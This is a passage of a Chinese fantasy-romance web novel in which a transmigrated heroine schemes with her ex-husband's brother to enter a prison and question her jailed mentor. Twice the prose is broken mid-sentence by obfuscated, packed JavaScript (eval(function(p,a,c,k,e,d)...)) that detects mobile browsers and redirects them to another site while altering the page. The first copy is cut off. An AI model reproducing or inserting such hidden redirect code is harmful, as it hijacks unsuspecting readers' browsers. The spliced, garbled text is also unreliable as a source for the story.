。你若是——你若是还愿意的话,跟我复合,好不好?” “你说什么?”蔺清辉眉头皱得更深了。 “我跟你说过呀!”戴纾语仰首望着他,眼神里满是期待之色,“我眼里心里都只有你,跟星斓只是一时糊涂犯了错。如今孩子没了,更没必要继续错下去,及时止损才是明智的选择。” “简直不可理喻。”蔺清辉咬牙切齿道,“星斓是我弟弟,我不会放任你这般作践他。” “可是,我跟他之间没有感情啊!”戴纾语眨了眨眼,委屈得快要哭出声来了。 “戴姑娘,你我和离一年有余,更无感情可言。星斓真心待你,你不要伤了他一片真心。” “清辉,不管怎么说,今日你能来看我,我很是高兴。说明你心里是有我的,不是吗?” 在蔺清辉看来,戴纾语就跟听不懂人话一样。他抬手捏了捏突突直跳的太阳穴,并未理会她的胡言乱语,遂加快步伐离开了。 蔺星斓不知从何处冒出来,用胳膊轻轻碰了碰戴纾语的手臂,“嫂嫂,你这演戏的功夫从哪里学来的?” 戴纾语被他吓一跳,一拳径直挥在他胸口的位置,愤愤地说:“你不是煎药去了?” “你不是不放心别人给你煎药?”蔺星斓揉了揉隐隐作痛的胸口,不满地瞪着她,“你下手能不能轻一点?” “窥探她人隐私者,活该被一拳打残。” “你说我吗?”蔺星斓指着自己的鼻尖,只觉匪夷所思。 “对!说的就是你!偷听我跟你兄长说话,你究竟是何居心?”戴纾语从他手里拿回药包,飞快往厨房的方向去了。 蔺星斓加快步伐追了上去,兀自解释说:“我没有偷听旁人说话的癖好,我只是好奇。” “好奇什么?”戴纾语率先一步迈进厨房,“好奇我跟你兄长如何卿卿我我?” “你——”蔺星斓一时语塞,“你这个女人,说话怎么如此——” “不知羞耻?”戴纾语接茬道。 “我可没这么说。” 戴纾语从柜子里翻出药罐,仔细清洗干净后,将药包里的草药尽数倒了进去。 “蔺星斓,往后不许再跟着我了,也不许偷听我跟清辉说话。不然——” 蔺星斓眉梢微挑,幸灾乐祸道:“不然怎样?” “我见你一次,打你一次。” 蔺星斓并未放在心上,望着她不怀好意地笑了笑,“嫂嫂,你可是忘了?你答应过我,不再动手打我。” “不作数了。”戴纾语敛去外露的情绪,不再与他嬉皮笑脸,“还望你往后与我保持距离。毕竟,我是你前嫂嫂。” “戴纾语!”蔺星斓不由提高音量,语气里满是不悦,“你当真过河拆桥?” “对。”戴纾语并未否认,“我就是这样的人,利用完了,便把你丢掉,请你认清现状,不要耽误我与你兄长复合。” 对方半点情面也不留,蔺星斓顿时气得满面通红,指尖微微发抖,“好啊!好得很!” 说罢,他转身就要往厨房外去,刚走出去几步,就被戴纾语叫住了。 蔺星斓心中暗喜,只当对方改变主意了,遂转过身来看她。 “你还有什么吩咐?”他没好气地问道。 戴纾语指了指他胸口的位置,“过来!” 18. 18 “明火符给我,我的用完了。”戴纾语摊开掌心,朝他伸出一只手去。 蔺星斓只觉一股怒气直冲天灵盖,怒火烧得他心口胀疼,将要冲破胸腔喷射出来了。 “戴纾语!”他咬牙切齿道,“你当真是吃人不吐骨头!” 戴纾语缓缓摇头,手指虚抵在他胸口的位置,“我可没有吃掉你哦。” “你——”蔺星斓一时语塞,脸颊腾地红了。 他就这般水灵灵地被人给调戏了? “明火符。”戴纾语催促道,“不要耽误我煎药!倘若未能及时用药,突发恶疾,你们蔺府怕是要被人说闲话呢!” 蔺星斓只觉血压飙升,大有昏厥之兆。他拍开戴纾语的手,从怀里摸出几张画就的明火符,用力拍在她手里。 “拿去!” “多谢!”戴纾语捏着符篆往回走,边走边说,“你的大恩大德我不会忘记的。” 蔺星斓立在原地,出神地望着她的身影迈进厨房,却没有要离开的意思。 戴纾语突然转过身来,歪着头看他,“你怎么还不走?想要分一杯羹吗?” 蔺星斓冷笑一声,阴阳怪气道:“我可不像某些人,脑子进水吃错了药,需要急救。” 戴纾语被灵药的副作用折磨得胸闷气短,浑身上下都不舒服,并无多余的精力跟他纠缠,随即挥了挥手,略显不耐烦,“赶紧走吧!我忙着煎药呢!” 蔺星斓不接茬,紧跟着朝厨房的方向去。他兀自从戴纾语手里接过明火符,点燃了丢进药炉里。 “担心你把厨房给炸了。” 戴纾语冷哼一声,自顾自往药罐里加水。 “小瞧我了吧!这点生活经验我还是有的,昔日跟清辉和离后,我独自一人生活,柴米油盐酱醋茶,都是我亲力亲为。” 见她面色惨白,脚步虚浮,蔺星斓迟疑片刻,斟酌着问道:“可需要安排几名丫鬟过来帮忙?” “不必麻烦了。”戴纾语盖上药罐盖子,掀开眼皮朝他看来,“蔺星斓,你今日怎么怪怪的?” 蔺星斓偏头,躲开她灼灼的目光,“担心你劳累过度,昏厥过去了。” “死不了!”戴纾语没好气地说,“我时刻谨记着不给你们蔺府添麻烦。再说,身边有陌生人出入,我行事不大方便。” 听出她话里有话,蔺星斓心中不悦,不禁揶揄道:“狗咬吕洞宾,不识好人心。” 戴纾语拉过一把椅子,自顾自在灶台旁坐下,“古人有云,防人之人不可无。我这叫谨慎。” 蔺星斓不置可否,“古人又云,害人之心不可有。你可听说过这句话?” 戴纾语恶狠狠地瞪了他一眼,“三天不打上房揭瓦!蔺星斓,你又皮痒了是不是?” “当真不需要安排丫鬟过来帮忙?”蔺星斓下意识后退两步,与她拉开一段距离。 “不需要。”戴纾语毅然拒绝了,“你赶紧走吧!不要在我跟前碍眼,晃得我头昏眼花!” 蔺星斓幸灾乐祸地说:“你头昏眼花是因为我碍眼吗?” “当然是。”戴纾语索性闭上双眼,眼不见心不烦。 蔺星斓主打一个脸皮够厚,略微俯身凑到她耳畔低语道:“嫂嫂,你头昏眼花实则是因为体虚吧!” “赶紧走!”戴纾语冷不丁睁开眼,直勾勾地盯着他,把个蔺星斓骇得倒退几步,险些撞翻了煎药的药炉。 戴纾语一把拧住他胳膊,将人往回拽,“你若是把药给我打翻了,我让你吃不了兜着走。” 虚惊一场! 蔺星斓暗自松一口气,顺手拍了拍衣摆,将在药炉上蹭上的灰烬拍掉。 “你下手真重!”他不满地揉了揉被戴纾语拧疼的胳膊,“上次被你掐出来的淤青刚好没几天,这回不知又要多久才能恢复。” “体虚!”戴纾语掀开盖子,药差不多煎好了,她端起药罐将药汤倒进碗里。 “蔺星斓,帮我个忙,好不好?” “做什么?” 戴纾语捧着煎好的汤药往门口走去,下巴轻轻点了点一派狼藉的灶台,“帮我收拾一下厨房。” “戴纾语!”蔺星斓愤愤地唤道,“你当我是你请来打杂的吗?” “你赖着不走,不就是为了帮忙吗?”戴纾语理直气壮地说。 望着她逐渐远去的身影,蔺星斓气得直跺脚,却任劳任怨地收拾起厨房来。 次日,戴纾语从噩梦中惊醒,躺在床上好半晌才缓过劲来。 用完司徒潋开的药,身体上的不适得以缓解,胸闷气短的症状也减轻了不少。 再休息一日,即可回到百草堂做工。 帷幔微晃,窗户处传来轻微异响,一道通讯符忽而出现在屋内。她连忙起身,将信函展开来看—— 是药铺学徒阿福传来的消息。 信上说百草堂今日被明镜司的人查封,理由是让一名傀儡逃脱,导致傀儡在城中伤人无数,迄今未曾捉住。 戴纾语简单梳洗一番,遂匆匆忙忙出了门。 一只脚刚踏出院子,险些跟门外的一道身影撞上。 “你慌里慌张地往哪里去?” 是蔺星斓的声音。 情况紧急,戴纾语没工夫跟他胡扯,随口敷衍道:“百草堂。” 蔺星斓攥住她袖口,将她上下打量着,“身体痊愈了?” “我没事。”戴纾语忽地想起了什么,遂顿住步伐,转过脸来看他,“你去上值?” “是。”蔺星斓并未隐瞒。 “你可知百草堂被明镜司查封一事?” “你打听这个做什么?”蔺星斓立即警觉起来,“官府的事,恕我不便透露。” “小气鬼!”戴纾语瞪了他一眼,转身就欲往蔺府大门走。 “明镜司办案,劝你莫要瞎掺和。免得惹上一身骚,得不偿失。”蔺星斓提醒道。 听了这番话,戴纾语逐渐冷静下来,向他打听道:“那名恶意伤人的傀儡,是阿彪吗?” “不知道。”蔺星斓如实道,“我亦是刚接到消息,正要去——” 话未说全,便被戴纾语打断了。 “傀儡伤人的地点,你知道吗?”回想起上回阿彪出没的地点,她终究有些不放心。 “昨夜最后出现的地方是——”蔺星斓认真回忆起来,“榴花巷。” “糟了!”戴纾语惊呼一声,旋即挣脱开蔺星斓,拔腿就往大门口跑。 方阿婆住的那条巷子,正是榴花巷。 戴纾语一路狂奔,累得气喘吁吁,终于赶到榴花巷。 遥遥望见方阿婆的摊点前稀稀疏疏坐着几位吃早点客人,她轻轻拍了拍胸口,如释重负地松了一口气。 “阿婆,”戴纾语微微喘着粗气,找了个位置坐下,“来一碗玉米鲜肉馄饨,小份。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“与你无关,劝你莫要瞎操心。”戴纾语拍开他的手,率先一步迈出门去,将空碗放进摊点前的木盆里。 “稍等一下!”蔺星斓紧跟着往外走。 戴纾语只身站在方阿婆的摊点前,视线始终追随着蔺清辉,闻言回过头来看他。 “你有何吩咐?这位缇骑大人!” “……”蔺星斓一时无语,好半晌才憋出一句话来,“莫要插手明镜司办案,否则,后果自负。” 戴纾语伸出一根手指用力戳了戳他胸口,一字一顿道:“不要你管!” “你怎么这般倔啊!”蔺星斓略显无奈,好看的眉头微微皱起,“我这是好心提醒你!” “当真为我好?”戴纾语略微偏头,侧脸几乎贴着他胸口,“那就告诉我有关百草堂的事。” “你——”蔺星斓下意识往后退,岂料径直撞到一个人身上。 “兄长,你——我——戴姑娘在店里用早点,我过来打个招呼。” “清辉,好巧啊!”戴纾语立马站直身形,距离蔺星斓两步之遥,“你来榴花巷办案吗?” “关于百草堂放走傀儡一事,你是否知情?”蔺清辉冷冷道。 “啊?” 戴纾语怔愣一瞬,这才反应过来对方是在审问她。 她抬眸瞪了一眼蔺星斓,咬牙切齿道:“好啊!蔺星斓,你方才是故意拖延时间,好让清辉来审问我吗?” “我——” 锅从天上来,蔺星斓百口莫辩,只能干瞪眼。 19. 19 “戴姑娘若是不如实交代,我只能命人将你带回诏狱用刑了。”蔺清辉兀自补充了一句。 戴纾语一听就急了,她一介寻常凡人,进了诏狱,还能有命活着出来吗? 再者,倘若因此暴露了穿书者的身份,岂不是因小失大,得不偿失! 思及此,她立马上前拉住蔺清辉的袖口,解释道:“清辉,我刚听星斓提及此事,正要向你交代情况呢!” 唯恐祸及自身,蔺星斓耳朵都竖起来了。 “昔日我到百草堂找活计做,曾与那名傀儡打过照面,正欲上前探个究竟,岂料对方眨眼间不见了踪影。后来,我们回蔺府的路上被傀儡追赶一事,你是知情的。” 蔺清辉略微皱眉,审视的目光落在她身上,“在百草堂那次,你怎知对方是傀儡,而非寻常凡人?” 戴纾语眨了眨眼,照实说道:“当时我并不知情,后来他大半夜追赶我,想要置我于死地,星斓告诉我他变成傀儡了。” “是吗?”蔺清辉移开视线,望向蔺星斓,“届时你们待在一处?” “彼时我奉兄长之命,护佑花大小姐的安全,花大小姐离开后,我一直与纾语待在百草堂。” 说罢,蔺星斓无端觉得心虚,兀自补充了一句:“纾语只以为阿彪被人下蛊,确实不知对方已成傀儡。” “正是如此。”戴纾语立马顺杆爬,“星斓告诉我的时候,我颇为震惊,分明前几日还是一个活蹦乱跳的人类,为何突然之间就变成傀儡了呢!” “带回去,同百草堂那几人关押在一处。”蔺清辉转过脸去,吩咐身后的一名百户。 “别碰我!”戴纾语用力甩开那名百户的手,随即嫌弃地拍了拍被对方碰过的衣袖,不解地望着蔺清辉,“清辉,我都交代清楚了,为何还要带我回明镜司关押?” “此事尚未核查清楚,所有涉事人员一律不可放过。” 戴纾语指了指蔺星斓,“他可以帮我作证,我从未私下与那名傀儡打交道。” 蔺星斓指着自己的鼻尖,低声道:“嫂嫂,你——你是不是误会什么了?” “误会什么?误会?”戴纾语瞪了他一眼,“你明知道我不曾与傀儡阿彪接触,当晚是你用明火符将他赶跑了,在那之前我从未见过他。为什么要把我关押进诏狱?” 蔺星斓张了张口,一时间竟不知作何解释。 “兄长,”沉吟半晌,他用商量的口味说,“嫂——纾语确实不知情,这其中可是有什么误会?” 蔺清辉面色不善,看向他的眼神里满是失望,“作为明镜司的公务人员,屡次在众目睽睽之下与一女子拉拉扯扯,不知悔改便也罢了,如今更是妨碍公务,你是不想干了?” “不是。”蔺星斓连忙解释道,“兄长,就事论事,我觉得纾语罪不至此。” “你觉得?”蔺清辉冷嗤一声,“带走!” 闻言,戴纾语一屁股坐到地上,呜呜咽咽哭出声来,“冤枉好人啊!明镜司错抓无辜百姓,还有没有天理啊!” “你——”蔺星斓来不及反应,瞠目结舌地望着地上鬼哭狼嚎的人,好半晌没说出话来。 两名百户在蔺清辉的示意下,拉着戴纾语的胳膊,就要把她拽起身。 戴纾语突然惊呼一声,挣脱开两人的束缚,身体蜷缩成一团,双手捂住腹部的位置,咬紧牙关痛呼出声。 “戴姑娘,你这是唱的哪一出?”蔺清辉略显不耐烦。 “我——我肚子疼。”戴纾语面色煞白,豆大的汗珠从额头冒出,整个人看上去虚弱非常。 及至此刻,蔺星斓早已分不清她是在做戏,抑或当真是服用灵药产生的副作用。 “兄长,纾语刚流产,身体尚未痊愈,街上百姓看着呢!倘若出了什么意外,届时蔺府如何说得清楚?” 闻得此言,蔺清辉斟酌片刻,挥了挥手,叫那两名百户松开戴纾语,旋即叮嘱蔺星斓:“你把她带回蔺府看好了,晚些时候我回府另行审问。” 蔺星斓连连点头应下了。 望着明镜司的人越走越远,戴纾语如释重负地松一口气,双手撑着地,却没有要起来的意思。 “演上瘾了?”蔺星斓禁不住揶揄道。 戴纾语不接茬,抬手轻轻揉了揉胸口的位置,许是方才情绪过于激动,此刻胸口传来一阵闷闷的胀痛,连呼吸一下都觉得困难。 “当真不舒服?”蔺星斓朝她伸出一只手去,“兄长走远了,该起来了。” 戴纾语借着他手上的力道起身,顺手拍了拍屁股上的尘土,疑惑地问道:“他怎么会怀疑到我头上?” 蔺星斓双手一摊,“那就要看百草堂的人是如何说的。” 这话倒是提醒了戴纾语,她微微往前倾身,凑到蔺星耳畔旁低语道:“你能带我进诏狱吗?” 蔺星斓下意识后退两步,不解地望着她,“你疯了吗?兄长答应不把你关押进诏狱,你倒好,自己主动送上门寻死?” “我同你说过,被当作嫌犯关押进诏狱,与主动进去打探情况不一样。”戴纾语耐心地解释道,“难道你不好奇司徒夫人与傀儡之间的牵连吗?” 蔺星斓握着扇子有一下没一下地敲着手心,若有所思。 见他有松动的迹象,戴纾语继续添了一把火,怂恿道:“你不想知道真相吗?清辉不知道的真相。我是司徒夫人的徒弟,她或许会向我透露一二呢!” 这个诱惑太大了,蔺星斓内心挣扎着。倘若他比蔺清辉更早查出真相,显然有利于他完成任务。 正思忖间,戴纾语的声音带着蛊惑,再次在耳畔响起:“怎么样?你想办法带我进诏狱里见一见司徒夫人,我帮你打听你想知道的真相,或许还能顺水推舟,助你一臂之力呢!” 蔺星斓渐渐收拢心神,“戴纾语,你会有这般好心?” “当然没有。”戴纾语耸耸肩,“不过是相互合作,各取所需罢了。” “算你有良心,终于说了一回实话。”蔺星斓冷哼一声,转过身就要往回走。 “你往哪里去?”戴纾语一把攥住他手腕。 “你不是要擅闯诏狱?”他用手在戴纾语身上比划了一下,“就这么明目张胆进去吗?” “对,乔装改扮!”戴纾语讪讪一笑,遂轻轻拍了拍他手背,不吝夸赞,“还是星斓想得周到。” 蔺星斓在内心翻了个白眼,竟无言以对。 装扮过后,二人来到目的地,望着明镜司森严的大门,戴纾语忽地想起一桩事来。她轻轻戳了戳蔺星斓胸口,往里探头。 “我记得你说过,只有镇抚使大人有权出入诏狱。” 蔺星斓脸上洋溢着得意的笑容,旋即从怀里摸出一枚令牌,“我有镇抚使大人的腰牌。” 戴纾语紧盯着那枚金灿灿的腰牌,大有将它据为己有的冲动。 “别想了!”蔺星斓屈起指节弹了一下她眉心,小声提醒道,“我不可能给你的。” “你找死!”戴纾语抬手捂着又热又疼的额头,咬牙切齿道,“你敢打我!” “嫂嫂,你怎么这样说呢?我不过是轻轻碰了下你的额头而已。”蔺星斓皮笑肉不笑。 戴纾语怒目而视,“蔺星斓,你皮痒了是不是?” “嫂嫂,正事要紧。”蔺星斓见好就收。 戴纾语咬咬牙,只得作罢。 “镇抚使大人命我送一名嫌犯进诏狱。”临到诏狱门口,蔺星斓将手里的腰牌递过去,守卫仔细检查一番,又望向他身后之人,随即放行。 戴纾语揉了揉眼睛,只觉在做梦,“就这么轻易地放行了?” “镇抚使大人的腰牌,等同于他本人亲临,谁敢阻拦?” “那倒也是。”戴纾语撇撇嘴,不禁唏嘘,官大一级压死人,还是当官好啊! “快走!别东张西望。”蔺星斓一手扣着她肩膀,俨然一副送人上刑场的架势。 “那个阵法,当真能够检测出异类的身份?”戴纾语指了指不远处一个泛着幽幽蓝光的阵法,下意识后退两步。 “是。”蔺星斓循着她的视线望去,兀自解释说,“据说将异类关押进去,不出一刻钟,便能够将她的身份探查得一清二楚。” “不可思议!”戴纾语暗自深呼吸一口气,书中世界竟然有探测仪器一般的存在,不愧是玄幻背景。 “发什么愣?”蔺星斓催促道,“不是要找司徒夫人打听真相?” 戴纾语回过神来,环顾一下四周,并未发现百草堂众人的身影。 “跟我走。”蔺星斓压低声音道,两人继续往前走,途径一条幽深的地下通道,来到一个狭窄逼仄的房间内。 “师父,”戴纾语轻声唤道,“是你们吗?” 听见她的声音,司徒潋蓦地站起身来,“纾语,你也被关进来了?” “不是。”来不及解释,戴纾语拣重要的信息说给她听了,随即问起傀儡一事。 司徒潋无意让她牵扯其中,然念及戴纾语早已被对方盯上,不得不向她透露一二。 “那——”戴纾语消化了许久,才将司徒潋说的前因后果捋顺了,“师父,我要怎么才能帮你呢?” “帮我?”司徒潋好奇地打量着她。 戴纾语艰难地咽了口唾沫,“我想救你出去。” “纾语,此处是诏狱。” 戴纾语还想再说点什么,蔺星斓突然出声道:“一刻钟到了,我们该出去了。” 看出她的心思,司徒潋宽慰道:“你放心,我自有办法。” “快走!”蔺星斓拽了一下她的手腕,“不然,门口的守卫该起疑了。” 两人匆匆忙忙往回赶,蔺星斓拖着半死不活的戴纾语,朝守卫略微颔首,“抓错了,寻常凡人。” 对方明显是见多了抓错异类的现象,并未起疑。 迈出明镜司大门,戴纾语长长舒出一口气,“吓死我了!” 蔺星斓将腰牌揣进怀里,将她上下打量着,“不愧是老油子,演得挺像那么一回事。” 戴纾语用力朝他胸口挥了一拳,“蔺星斓,你最近愈发放肆,是不是我对你太过温柔了?” 蔺星斓险些被她一拳打背过气了,兀自揉着隐隐作疼的胸口,不住呛咳起来。 “星斓,你们在这里作甚?” 完了! 戴纾语僵硬地转过身,望着来人尴尬地笑了笑,“清辉,好巧啊!” 看着戴纾语那样一副打扮,蔺清辉什么都明白了。 “带回蔺府,严加看管,没有我的允许,不得踏出蔺府半步。” 戴纾语还想再挣扎一下,“清辉,我只是好奇你任职的地方是什么样子,这才说服星斓带我来看看。” “带走!” 负责看押二人的其中一名百户,正是在榴花巷被戴纾语打了一巴掌那人,此刻手背还隐隐作痛呢! 他瞥了眼戴纾语,随即来到蔺星斓身后,客客气气地说:“二公子,请吧!”说罢,不近不远地跟在两人身后。 蔺星斓极其不情愿地往前走,不忘偏过头控诉戴纾语:“都怪你出的馊主意,这下好了,被抓了个正着!” 戴纾语面露不悦,“蔺星斓,你答应带我到明镜司来,分明是为了达到自己不可告人的目的,如今东窗事发,倒是怪到我头上来了。” “你敢说你没有怂恿我?”蔺星斓心里很是不服气。 戴纾语冷笑一声,压低声音道:“那是你自己意志不坚定。倘若我怂恿的是蔺清辉,你猜他会不会如你这般带我来明镜司?” “你——”蔺星斓一时语塞,争辩不过,打也打不过,他只有吃哑巴亏的份。 戴纾语瞪了他一眼,不依不饶起来,“从前我只当你是游手好闲惯了,无所事事。如今看来,当真是不堪重用的草包,遇事不知想解决办法,只会埋怨队友。往后谁还敢跟你共事?” “谁跟你是队友?”蔺星斓冷笑一声,“说得好像谁求着跟你共事一样。” 戴纾语冷眼看他,不禁恶语相向:“游手好闲的草包,一没出息,二没担当,谁跟你扯上关系当真是倒了八辈子血霉!” 被人指着鼻子骂,蔺星斓脸色不大好看,“戴纾语,我记得是你求着我、哄着我带你到明镜司来,现在翻脸不认人了!” “谁求着你、哄着你了?”戴纾语冷哼一声,兀自数落起来,“自从被你缠上,事事不顺,我真应该去庙里拜一拜,去去这满身的晦气。” 这话听得蔺星斓心中不悦,不由口无遮拦道:“你才是丧门星,自打跟你扯上关系,我被兄长以家法伺候,屡次被他责罚。难怪兄长与你和离,眼不见为净,趁早与你撇清关系微妙。” 戴纾语越骂越起劲,不由提高音量道:“成事不足败事有余的怂货,草包一个!” 蔺星斓不甘示弱,当即停下步伐,攥住她袖口问道:“你说什么?你再说一遍!” 戴纾语一巴掌拍开他的手,一字一顿道:“我说,你——”她伸出一根手指用力戳了一下蔺星斓胸口的位置,“成事不足败事有余的怂货,草包一个!” “你——”蔺星斓气得面红耳赤,指尖微微颤抖着指向戴纾语,半晌未能憋出一句完整的话来。 身后的两名百户终于听不下去了,连忙上前劝架:“二公子,大庭广众之下,适可而止。若是让镇抚使大人知晓了,我们不好交差。” 蔺星斓又气又恼,胸口郁积着一股怒气,久久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897374|192270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未得到纾解,只得恶狠狠地瞪了一眼戴纾语,强压下怒火,加快步伐往蔺府的方向去。 戴纾语幸灾乐祸地嗤笑一声,紧跟着追了上去,不忘添了一把火,“不愧是草包,一提蔺清辉,立马就偃旗息鼓了。” “戴纾语!”蔺星斓忍无可忍。 负责押送的百户生怕两人当街打起来,其中一人赶紧拦在两人中央,当起了和事佬,“戴姑娘,嘴下饶人。” 戴纾语也吵累了,闻言,立马噤声。 回到蔺府,两人分别被送到各自的住处。蔺清辉命人看守住不让二人离开蔺府,倒是可以在蔺府内自由活动。 戴纾语如释重负地长舒一口气,能出门,哪怕只是院门,她也还有机会。 日暮时分,蔺清辉下值回到府上,命人将戴纾语带到书房。 该来的终究会来! 戴纾语暗自琢磨片刻,最差的境况无非是将她赶出蔺府,蔺清辉总不能因此要了她的命。 “清辉,我知道错了。”趁书房内只有她与蔺清辉二人,戴纾语抓准时机率先开口,“我不该怂恿星斓带我去明镜司,我没有坏心思的,我只是——想要多了解你。” 蔺清辉端坐在书案旁,闻言不由皱眉,“戴姑娘,你与星斓本该谈婚论嫁了,如今又是唱的哪一出?” 戴纾语随意胡诌道:“清辉,我告诉过你呀!我与星斓的事只是一时糊涂,如今没有孩子的牵绊,我与他断干净了。我眼里心里都只有你,不想再跟他有任何关系。” 蔺清辉置若罔闻,“老实交代,你们去明镜司作甚?” “去看看你任职的地方,我想要多了解你一点。”戴纾语撒起谎来脸不红心不跳,投向他的眼神里满是专注。 “戴姑娘,事到如今,你说这些是想做什么?”蔺清辉缓缓站起身来,居高临下望着她。 “我想跟你复合。”戴纾语不假思索地说。 蔺清辉不接茬,兀自问道:“百草堂的人跟你说了什么?” 自知瞒不过他,戴纾语半遮半掩地说:“师父说傀儡凶险,叮嘱我不要瞎掺和。” “没别的了?” 戴纾语:“我可能被傀儡阿彪盯上了,师父叫我行事小心。” “哦——”蔺清辉顿时来了兴致,“你为何会被傀儡盯上?” “我同你提过的,阿彪尚且为人时,我曾与他有些过节,榴花巷的院子,便是他带人放火烧的。这些你都知情的呀!” “司徒夫人与傀儡之间的关系,你知道多少?” 问起来没完没了了! 戴纾语撇撇嘴,不禁嘀咕。 “知道多少?”蔺清辉略显不耐烦,不禁追问道。 “我只在百草堂见过身中蛊毒的病患,帮他们清理体内的蛊虫,但我并不知道身中蛊毒之人会变成傀儡。后来星斓告诉我,我才知情。” 说罢,她自顾自往前两步,距离蔺清辉近了些。 “清辉,你要相信我,该交代的我都交代了,其余的,我当真不知情。我师父是一名医术了得的大夫,救死扶伤是她的职责,那些身中蛊毒之人被送到百草堂时,并未变为傀儡。” “你冒着被关押的风险,擅闯诏狱,目的是什么?” “我担心师父的安危。” 蔺清辉:“司徒夫人可曾向你透露,她失踪那日去了何处?” “失踪?”戴纾语疑惑地望着蔺清辉,“我师父什么时候失踪了?” “傀儡阿彪出现的第二日。”蔺清辉紧紧盯着她,像是欲从她脸上探出真相来。 “哦!”戴纾语恍然大悟,“不是失踪,她有私事耽搁了,我不便打听。” 说到这里,戴纾语手心里满是黏腻的冷汗,她确实不知昔日司徒潋去了何处,她快要编不下去了。 正思忖间,书房外传来近侍通传的声音:“镇抚使大人,二公子带到了。” “让他进来。” 书房门应声打开,蔺星斓缓步从门口踏进来。 “兄长,你找我?” “戴姑娘让你带她到明镜司所为何事?” 戴纾语登时警觉起来,视线不受控地朝蔺星斓所在的方向瞟。 蔺星斓瞥了眼戴纾语,不紧不慢地说:“她说担心司徒夫人,求我带她去看看。” “此话当真?” 蔺星斓略微颔首,“兄长,我骗你作甚?” “戴姑娘与百草堂众人会面的时候,你可在场?” 蔺星斓:“兄长,我全程陪同,确保她们不曾传递任何重要机密。” 听了这番话,戴纾语不禁唏嘘,这游手好闲的草包糊弄起人来,当真是连眼皮都不眨一下。 蔺清辉长长叹一口气,旋即回到书案旁坐下,语重心长道:“星斓,我把腰牌交予你,并非让你方便自己人。你可知错?” 好汉不吃眼前亏,蔺星斓立马认错:“兄长,我知错了。”说着,从怀里摸出腰牌,恭恭敬敬地递到蔺清辉跟前。 “勇于知错,这是好事。”蔺清辉接过腰牌,顺手揣入怀中,“但该有的责罚不能少。” 蔺星斓顿时僵立在原地,连呼吸都放轻了,“兄长,还要罚啊?” “家法伺候。” 蔺星斓一听就急了,“兄长,换一个吧!上回被打的伤痕尚未痊愈,我怕是——” 不容他说完,蔺清辉径直吩咐近侍进来领人,“带出去!” 蔺星斓求饶无果,被强行带出书房,送去领罚了。 望着对方狼狈的身影,戴纾语不由倒抽一口冷气,马上就要轮到她了。 蔺府的家法,她是见识过的,彼时蔺星斓屁股都被打开花了,可见有多疼。 “戴姑娘,你收拾好行囊,明日离开蔺府。” “啊?”戴纾语尚处于遐想中,一时未能够反应过来他话里的意思。 “离开蔺府,往哪里去呢?” 蔺清辉背对着她,冷冷道:“那是你的自由,与我没有任何关系。” “我不走!”戴纾语一屁股坐在书案旁的椅子上,“我没有家了,你让我往哪里去?” “戴姑娘,你可是忘了?你我和离一年有余,你的去处,与我无关,更与蔺府无关。” “怎么会没有关系呢?”戴纾语下意识提高音量,“若非跟你和离,我也不至于被家族厌弃,沦落至无家可归的地步。说到底,这一切都是你造成的。如今你想将我扫地出门,可没那么容易!” “来人,把戴姑娘送回去。”蔺清辉望向门口吩咐道,“明日一早送她出府。” 如今两人是一条绳上的蚂蚱,蔺星斓并未戳穿她。 戴纾语慢腾腾地往书房外走,不由计上心来。 20. 20 夜里,戴纾语躺在床榻上,翻来覆去难以安眠,索性掀开锦被下了榻。 软磨硬泡如此之久,原书男主见了她仍是如见了鬼魅一般,压根近不了身。 如今更是欲将她赶出蔺府,可谓是前功尽弃。 思来想去,戴纾语只得改变策略。随即换了身颜色鲜妍而略显单薄的衣衫,准备乘着夜色出门做任务。 临出门前,她抿了一口烈酒含在嘴里,辣得嗓子直冒烟。旋即又往身上洒了许多酒水,闻起来俨然是一个烂醉如泥的酒鬼。 夜阑人静,院子里黑漆漆的,伸手不见五指。 戴纾语拢了拢轻薄的衣衫,埋着头往外走。 谁料一只脚刚踏出院门,迎面忽地扑来一道黑影。戴纾语并无防备,径直被对方扑倒在地。 “抓到你啦!快来人啊!我抓到异类了!” 是蔺夫人的声音。 对方身形较戴纾语高大,整个人压在她身上,压得她快要喘不上气来了。 戴纾语挣扎片刻,终于腾出一只手来,毫不犹豫劈在蔺夫人后脖颈上。 “压死我了!”戴纾语坐起身来,将昏厥过去的蔺夫人从身上掀开。 这位蔺夫人,实在形迹可疑,大半夜不睡觉,蹲在她院门外盯梢。 莫非当真是疯了? 戴纾语站起身,挥挥手拍掉屁股上的碎草末,环顾一下四周,连个人影都没有。 望着躺在地上不省人事的蔺夫人,戴纾语犯难了。 她可没那么好心将人送回去。 正思忖间,身后传来一阵轻盈的脚步声。 “谁?”戴纾语立马转身看去。 “戴姑娘,你要往哪里去?” 来人正是白日里被她打了一巴掌的那名百户,真正盯梢的人员之一。 戴纾语暗自松一口气。 “这位大哥,”她指了指倒在地上挺尸的蔺夫人,面有难色,“蔺夫人突然跑到我院子里抓异类,对着我就是一顿拳打脚踢,被我打晕了。你能帮忙将她送回屋吗?” “这——”白明霁明显地迟疑了一下。 镇抚使大人交代他看好这位戴姑娘,不让她擅自离开蔺府。倘若失职,可是要丢饭碗的。 戴纾语仔细端量着对方脸上变幻莫测的神情,不禁笑了起来,“这位大哥,担心我跑了吗?深更半夜,我放着蔺府这样大的宅子不住,跑出去睡大街吗?你们明镜司任职,当真没有考核?” 一个个脑子都不大好的样子。 “什么?” “没事。”戴纾语摆了摆手,“你赶紧送蔺夫人回屋吧!不然,她屋里的人该着急了。” 正说话间,夜色中传来一阵焦灼的呼唤声,紧接着,杂乱的脚步声越来越近。 “夫人,你在哪里?” “蔺夫人?” “……” “戴姑娘,你瞧见夫人了吗?”云苓神色慌张,飞快来到戴纾语跟前。 